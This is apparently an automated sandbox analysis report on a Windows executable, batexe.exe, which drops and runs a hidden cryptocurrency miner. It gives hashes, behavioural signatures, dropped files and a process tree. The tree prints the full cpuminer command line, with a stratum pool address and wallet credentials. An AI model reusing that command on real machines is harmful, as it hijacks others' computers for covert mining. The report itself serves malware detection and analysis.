73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
297s
platform
windows10-1703_x64
resource
win10-20231220-ja
resource tags

arch:x64arch:x86image:win10-20231220-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
11/02/2024, 20:00

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2104	b2e.exe
208	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
208	cpuminer-sse2.exe
208	cpuminer-sse2.exe
208	cpuminer-sse2.exe
208	cpuminer-sse2.exe
208	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1980-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1980 wrote to memory of 2104	1980	batexe.exe	75
PID 1980 wrote to memory of 2104	1980	batexe.exe	75
PID 1980 wrote to memory of 2104	1980	batexe.exe	75
PID 2104 wrote to memory of 1040	2104	b2e.exe	76
PID 2104 wrote to memory of 1040	2104	b2e.exe	76
PID 2104 wrote to memory of 1040	2104	b2e.exe	76
PID 1040 wrote to memory of 208	1040	cmd.exe	79
PID 1040 wrote to memory of 208	1040	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1980
- C:\Users\Admin\AppData\Local\Temp\9887.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9887.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9887.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9AD8.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1040
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:208

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9887.tmp\b2e.exe

Filesize
12.9MB

MD5
17f5204565ee449709cb6f47da5b6c27

SHA1
1df30139f31394f7f8192d6e1004a3b93d5cec9e

SHA256
28cd849236491e9a345f6adcbf8567b56650887ab6e90c55a180cc870ab03c04

SHA512
16d347b44ac4008085c9089c61663295ab29ade195bd7100832be2262f3ee65b811e49136f3eec92b335391f96c05ff53f3032ec7b4b37ccf8d6c84e21405e21

Download Submit
C:\Users\Admin\AppData\Local\Temp\9887.tmp\b2e.exe

Filesize
13.2MB

MD5
f73818861b1f3752a9ae5ed01ea5abb7

SHA1
738e6478a830d152efa3864d0ff4c34f6717842a

SHA256
4cce2e6067592e90d3990a7bb06463421a04a8913065c7a06d2ea35ac88c89d5

SHA512
d4330ff7d68b4f10dc44727c1b01cbfd4117e23c8dd6ac7ad63ebb496463cfa704fa7025d135402d75d86eee01eb99a80dfd5a5835f7bec2bcb320cb4e9a4854

Download Submit
C:\Users\Admin\AppData\Local\Temp\9AD8.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.3MB

MD5
ec1c0af627c5e09937b87fb68d244367

SHA1
19f925f931a867c7bc218cadc696e97c4d9e73c6

SHA256
ff30ef64ba22c3ad16a4dcdebf42480f69800bad22eacf31be1be5e69a6e8644

SHA512
aad8993eca64720d98e07434a2006ef771c4a7037c577ea31eb012cc7ea915ca54d473f97a26df18cc15f9b7aadfe20e1c87164785224188db91ee407d4d636d

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.2MB

MD5
439f0a027240b77b2b71c99e3a213c27

SHA1
90f49562c641161d0f418a7178f73d85c7b0c307

SHA256
2393451df6e6ceda4d4115d01e0ad60f80e522184e07296fcc33aed1d0e24da1

SHA512
56bf30438ff59ff7cbf13c9ed8e15ec0564969a86ff0aea2b07cb20006820eab30a3349e169e609eedba1e72763220bb26bc67112372a90873430183001c7870

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.6MB

MD5
9b7c71f785fb64a5d454e9c1613e36e7

SHA1
9953ea2813c4e475ffd73d3c50d193277b1cdb34

SHA256
1c6a1eb80406ce635067e7a9d5e468fe91ad2e0f1b47e8de317ad31d550d5e37

SHA512
c410ff142a313d0f36ae7d5359562003a66e4901e386badffa8b991f1bba4c667068fc906283ddd1f8e4215d0b83cbf1424ae87e647f65463f44841669e103a9

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/208-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/208-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/208-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/208-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/208-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/208-43-0x00000000536F0000-0x0000000053788000-memory.dmp

Filesize
608KB

Download
memory/208-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/208-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/208-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/208-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/208-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/208-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/208-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/208-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/208-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1980-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2104-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2104-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download